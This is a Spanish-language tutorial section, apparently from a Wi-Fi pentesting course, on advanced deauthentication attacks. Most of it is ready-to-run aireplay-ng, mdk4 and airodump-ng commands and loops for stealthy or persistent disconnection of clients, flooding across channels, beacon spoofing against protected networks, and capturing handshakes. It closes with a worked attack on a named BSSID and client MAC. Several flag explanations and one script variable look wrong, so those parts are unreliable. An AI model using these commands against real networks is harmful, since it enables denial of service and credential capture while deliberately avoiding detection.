2.1 Deauth avanzado: técnicas y variaciones

🔥 Deauth avanzado: técnicas y variaciones

1. Unicast vs Broadcast Deauth

- **Broadcast deauth**
  - `--deauth N -a <BSSID>`
  - Envía tramas deautenticación con dirección destino `FF:FF:FF:FF:FF:FF` (all-stations). Afecta a **todos** los clientes simultáneamente.
  - Muy efectivo para capturar multitud de handshakes rápido, pero **ruidoso** y fácil de detectar (picos de tráfico anómalo en el AP).
- **Unicast deauth**
  - `--deauth N -a <BSSID> -c <CLIENT_MAC>`
  - Envía tramas solo al cliente `<CLIENT_MAC>`.
  - Más **selectivo** y **silencioso**, porque solo el cliente objetivo recibe la orden de desconexión. Ideal para no alertar al resto de la red.

---

2. Deauth “smart”: tiempos y repetición adaptativa

- En lugar de disparar un gran número de paquetes al inicio, podemos **espaciar** los paquetes para permanecer bajo el radar:

```
for i in {1..20}; do
  sudo aireplay-ng --deauth 1 -a <BSSID> -c <CLIENT> wlan0mon
  sleep 2
done
```

  - Envía 1 paquete cada 2 segundos, forzando reconexiones sin saturar el aire.
- **Ciclo infinito** (modo persistente):

```
while true; do
  sudo aireplay-ng --deauth 1 -a <BSSID> wlan0mon
  sleep 5
done
```

  - Mantiene a todos los clientes fuera de la red, ideal para un ataque DoS ligero.

---

3. Uso de `mdk4` para Deauth flooding masivo

`mdk4` permite inundar un canal con múltiples ataques simultáneos aprovechando hilos y optimizaciones C:

```
sudo mdk4 wlan0mon d -t <BSSID> -w -s 0
```

- `d` = deauth attack mode
- `-t <BSSID>` = objetivo
- `-w` = broadcast (todos los clientes)
- `-s 0` = cantidad ilimitada de paquetes por segundo

💡 **Variación**: si no pones `-t`, hace broadcast a todos los APs en el canal, combinando beacon flood + deauth flood.

---

4. Deauth en múltiples canales

Cuando un AP es multicanal (2.4 + 5 GHz), o quieres abarcar varias redes:

```
sudo mdk4 wlan0mon d -c 1,6,11 -w
```

- `-c 1,6,11` escanea los canales 1, 6 y 11 en rotación.
- Útil cuando no conocés el canal exacto o quieres atacar toda la banda 2.4 GHz.

---

5. Evadir Management Frame Protection (802.11w)

Algunas redes implementan **MFP** (Protected Management Frames), lo que impide la deautenticación tradicional. Para estas:

- **Beacon flood + beacon spoofing**: generar falsos APs con mismo SSID y BSSID para confundir clientes.

  ```
  sudo mdk4 wlan0mon b -n "Oficina" -s 500
  ```

  - `b` = beacon flood
  - `-n "Oficina"` = ESSID false
  - `-s 500` = 500 ms intervalo

- **Fragmentation attack**: explotar vulnerabilidades en el reensamblado de 802.11 para inyectar frames de gestión. Más complejo, requiere librerías especiales (scapy + plugins).

---

6. Ataque dirigido con exactitud y presencia mínima

- **Spoof de MAC del AP**: envía deauths falsificando la MAC origen como la del AP real:

  ```
  sudo aireplay-ng --deauth 10 -a <BSSID> --ignore-negative-one -x 1 wlan0mon
  ```

  - Algunas versiones de `aireplay-ng` permiten `--ignore-negative-one` para forzar el envío con BSSID spoofeada.

- **Roaming track**: en entornos empresariales con varios APs, hacer deauth al cliente en un AP para capturarlo en el vecino:

```
sudo aireplay-ng --deauth 5 -a AP1_MAC -c CLIENT_MAC wlan0mon
sudo aireplay-ng --deauth 5 -a AP2_MAC -c CLIENT_MAC wlan0mon
```

- Obligas al cliente a saltar entre APs, capturando múltiples handshakes en distintos BSSIDs.

---

7. Integración con `airodump-ng` en un solo comando (script ligero)

```
#!/bin/bash
BSSID=<BSSID>
CHANNEL=<CH>
MONITOR=~  # interfaz en modo monitor

gnome-terminal -- bash -c "sudo airodump-ng --bssid $BSSID -c $CHANNEL -w recon $MONITOR" \
&& gnome-terminal -- bash -c "sleep 5; sudo aireplay-ng --deauth 20 -a $BSSID $MONITOR; exec bash"
```

- Abre dos terminales:
  1. Captura handshake.
  2. Lanza deauth tras 5 s de escaneo.

Ejemplo práctico de variaciones avanzadas

Supongamos que el AP `28:77:77:74:B1:AC` está en canal `11`, y el cliente a tiro es `00:11:22:33:44:55`. Queremos un ataque **silencioso** y **persistente**:

```
# 1. Ciclo adaptativo con sleep para reducir ruido
while true; do
  sudo aireplay-ng --deauth 1 -a 28:77:77:74:B1:AC -c 00:11:22:33:44:55 wlan0mon
  sleep 3
done
```

Para capturar el handshake simultáneo:

```
sudo airodump-ng --bssid 28:77:77:74:B1:AC -c 11 -w stealth wlan0mon
```

- **Ventaja**: solo un paquete cada 3 s, la red no se colapsa, pero el cliente revienta conexión y reconecta → handshake capturado sin llamar la atención masiva.
